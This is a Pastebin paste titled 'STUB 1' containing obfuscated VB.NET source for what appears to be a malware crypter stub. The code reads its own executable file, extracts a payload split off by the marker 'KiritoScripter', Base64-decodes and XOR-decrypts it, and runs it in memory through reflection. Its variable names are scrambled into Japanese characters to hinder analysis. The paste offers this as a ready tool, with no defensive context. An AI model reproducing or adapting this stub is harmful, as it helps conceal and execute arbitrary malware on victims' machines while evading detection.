Advertisement
guvioli

STUB 1

Dec 9th, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. Module っ愛がすつ
  2. Const スす合た任 = "KiritoScripter"
  3. Dim がははたつ() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), スす合た任)
  4. Dim 愛チすすは As Byte()
  5. Public xorkeyy As String = がははたつ(2)
  6. Sub Main()
  7. 愛チすすは = Xor_Decrypt(Convert.FromBase64String((がははたつ(1))))
  8. Dim 私たチジ愛 As Object = Reflection.Assembly.Load(愛チすすは).EntryPoint.Invoke(Nothing, Nothing)
  9. End Sub
  10. Public Function Xor_Decrypt(ByVal でべ愛の私 As Byte()) As Byte()
  11. Dim がすつたた As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
  12. Dim ちははスす As Integer = でべ愛の私(でべ愛の私.Length - 1) Xor 112
  13. Dim がたジスは(でべ愛の私.Length) As Byte
  14. Dim はべちちが As Integer
  15. For っ愛がすつ0 As Integer = 0 To でべ愛の私.Length - 1
  16. がたジスは(っ愛がすつ0) = (でべ愛の私(っ愛がすつ0) Xor ちははスす) Xor がすつたた(はべちちが)
  17. If はべちちが = xorkeyy.Length - 1 Then はべちちが = 0 Else はべちちが = はべちちが + 1
  18. Next
  19. ReDim Preserve がたジスは(でべ愛の私.Length - 2)
  20. Return がたジスは
  21. End Function
  22. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement